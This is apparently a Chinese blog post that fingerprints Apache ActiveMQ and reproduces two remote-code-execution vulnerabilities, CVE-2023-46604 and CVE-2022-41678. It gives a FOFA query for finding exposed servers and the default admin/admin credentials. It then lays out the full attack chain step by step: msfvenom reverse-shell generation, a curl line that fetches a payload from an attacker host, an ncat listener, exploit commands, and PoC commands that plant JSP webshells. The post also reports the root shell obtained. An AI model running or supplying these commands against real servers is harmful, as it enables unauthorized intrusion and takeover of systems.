Apache ActiveMQ消息中间件特征及漏洞复现
Apache Activemq是一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
web相关特征
管理端口为8161,访问会出现登录框:
默认账户为:admin/admin,登录后界面如下:
使用activemq搭建的网站,其icon图标为:
高危漏洞复现
CVE-2023-46604(反序列化导致的RCE)
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信,其通信过程中存在一处反序列化漏洞,当攻击者能访问61616端口时可以通过该端口发送恶意数据到服务器从而执行任意代码。
fofa语法:app="APACHE-ActiveMQ" && port="61616"
漏洞利用exp工具:https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
攻击前需要确定目标服务器的系统,因为漏洞利用需要一个xml,不同系统有不同的xml版本,这里复现的是linux环境下的activemq。
影响版本:Apache ActiveMQ < 5.18.3、Apache ActiveMQ < 5.17.6、Apache ActiveMQ < 5.16.7、Apache ActiveMQ < 5.15.16
复现示例
| 步骤 | 指令 | 作用 |
|---|---|---|
| 生成恶意负载 | msfvenom -p linux/x64/shell_reverse_tcp LHOST=kali_IP LPORT=4444 -f elf -o shell.elf |
生成一个反向Shell的ELF程序。 |
| 准备恶意XML | 编辑poc-linux.xml文件中相关内容:curl -s -o test.elf http://木马服务器ip:8001/shell.elf; |
修改要执行的命令(如下载/执行恶意负载)。 |
| 开启HTTP服务 | python3 -m http.server 8001 |
关键一步:提供一个Web路径,让目标ActiveMQ服务器能访问到你的shell.elf和poc-linux.xml。 |
| 开启监听 | ncat -lnvp 4444 |
等待目标服务器执行负载后反向连接回来。 |
| 运行漏洞利用脚本 | go run main.go -i target_IP -u http://木马服务器ip:8001/poc-linux.xmld |
指示目标ActiveMQ访问你的恶意XML并触发漏洞。 |

成功拿到root权限的shell。
CVE-2022-41678(jolokia接口导致的RCE)
ActiveMQ后台(默认端口8161)存在 Jolokia 代码执行漏洞,在ActiveMQ中,经过身份验证(默认账户:admin/admin)的远程攻击者下可通过/api/jolokia/接口操作MBean,成功利用此漏洞可导致远程代码执行。
影响版本:Apache ActiveMQ < 5.16.6、5.17.0< Apache ActiveMQ < 5.17.4
复现示例
复现方法有两种,使用的poc脚本均来自vulhub。
法一:通过修改 Log4j 配置写入任意文件
python3 poc.py -u admin -p admin http://target-ip:8161
通过该指令将webshell写入http://target-ip:8161/admin/shell.jsp:
通过访问该路径确认是否写入木马:

出现此页面说明成功了,根据poc中的相关代码,使用cmd接收get传输的指令,执行命令:

法二: 利用 FlightRecorder 特性写入日志文件(推荐)
PS:此方法适用范围更广
python3 poc.py -u admin -p admin --exploit jfr http://target-ip:8161
通过该指令将webshell写入http://target-ip:8161/admin/shelljfr.jsp:
直接访问最后给出的路径,执行id命令:
可以看到成功实现了RCE。

浙公网安备 33010602011771号